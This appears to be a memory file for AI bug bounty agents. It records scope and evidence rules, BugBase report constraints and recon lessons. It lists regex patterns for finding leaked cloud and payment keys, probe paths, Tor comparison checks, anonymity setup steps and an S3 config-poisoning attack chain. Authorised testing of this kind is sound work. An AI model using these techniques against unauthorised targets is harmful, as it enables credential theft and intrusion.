- **Cross-Agent Prevention Rule**: Before ANY finding is created or recommended for submission, the FIRST check must be: "Did the user tell me to stay in scope only? If yes, reject all OOS findings regardless of severity. Do not even create finding files for OOS subdomains." This applies to Hunter (creates findings), Verifier (evaluates findings), and Reporter (writes reports).

## Session Analysis: 2026-07-09 — DeepSeek System Prompt vs OpenCode Bug Bounty Agents

- **What happened**: User shared a ~500-line DeepSeek enterprise system prompt designed for general-purpose autonomous coding. The prompt follows a strict Plan/Build/Test mode matrix with LSP integration, error recovery state machines, and anti-TODO directives — but it has zero bug-bounty-specific knowledge (no recon, WAF bypass, verification protocols, BugBase reporting).
- **Issue identified**: The DeepSeek prompt would override OpenCode's specialized bug bounty agents (Hunter, Verifier, Reporter, Recon) with a generic "software architect" persona. These are fundamentally incompatible — one builds software, the other breaks it.
- **Fix**: Don't replace the OpenCode agent system. Instead, cherry-pick individual patterns (Anti-TODO, Error Recovery State Machine, Security Protocols, Context Acquisition) into the relevant bug bounty agents.
- **Memory update**: Logged. No cross-agent propagation needed — current agent definitions are correct for their purpose.

## Cross-Agent Improvements

- **2026-07-05 — Infrastructure Deployment Safety**: Hunter learned that anonymity/infrastructure deployment requires verification checkpoints at every step (unlike bug hunting which can batch commands). Key rule: never apply firewall kill switch before confirming the tunnel/proxy works. This applies to ALL agents doing infra work (Hunter, Plan). Added 7-point checklist to Hunter memory as reference for all agents.
- **2026-07-04: BugBase form constraints** — Reporter agent learned: (1) Title max 120 chars, (2) "Vulnerable Endpoint / Affected URL" accepts only one URL. DEBUG must enforce these when reviewing BugBase reports.
- **2026-07-04 — BugBase Report Template**: User pointed out Reporter agent needs the exact BugBase submission format saved to memory. Saved complete template to `~/.config/opencode/templates/bugbase_report_template.md` and updated Reporter agent memory. Propagated to all agents: any time you encounter a structured form/UI for submissions, save the template to the relevant agent's memory immediately.
- **2026-07-04 — Source Map Config.js Extraction**: Hunter found that `config.js` within the app.js.map contains ALL internal microservice routing including devo templates. Propagated to Plan agent to include config extraction in every source map analysis workflow.

- **2026-07-04 — Tor for API Verification**: When an API returns different results from original IP vs Tor (LOTR version API), this means geo-restriction or IP-based routing. Hunter should always note: "Original IP result: X, Tor result: Y — difference suggests geo-restriction". Propagated to Hunter and Verifier.
- **2026-07-04 — JS Bundle Secrets Analysis**: The via.sh JS bundle (1.26 MB) contained hardcoded Google API keys. Propagated to Hunter: always scan large JS bundles with regex patterns for API keys, auth tokens, internal URLs. Pattern set: `AIza[0-9A-Za-z_-]{35}`, `AKIA[0-9A-Z]{16}`, `sk_live_`, `pk_live_`, `ghp_`.
- **2026-07-04 — Design System Multi-Page Scan**: Hunter found that `design.locus.sh` had 3 pages (prototypes.html, onboarding.html, roadmap.html). Propagated to Hunter: when you find an exposed design system, check at least these paths: `/prototypes.html`, `/onboarding.html`, `/roadmap.html`, `/index.html`, `/sitemap.xml`.
- **2026-07-09 — Report Must Be Grounded in Evidence**: Reporter agent must never generate a report without raw evidence (URL, payload, response diff showing unescaped reflection, status code, browser confirmation). A report written without evidence is fabricated. Always ask for the finding details first.

## Patterns Observed

- **Source maps are the single highest-value recon target** — they reveal endpoints, internal routing, config, and source code all at once.
- **Design systems are the second highest-value target** — they aggregate repo links, Figma links, Slack channels, NPM packages in one place.
- **S3 public WRITE + config poisoning is a Critical chain** — planting application.yml in S3 can alter application behavior for any app that pulls config from S3.
- **Internal IPs in public DNS are common for microservice architectures** — dev teams forget to use private DNS zones.
- **Bundled applications on shared domains leak to each other** — via.sh app on locus-dev.com leaks internal locus API patterns.
- **Multiple Google API keys are often found in the same bundle** — check each one independently as restrictions may vary.
- **Reports require evidence, not requests**: A finding report must be grounded in raw data (URL, payload, response diff, status code, reproducibility). Without these, the report is fabrication, not disclosure.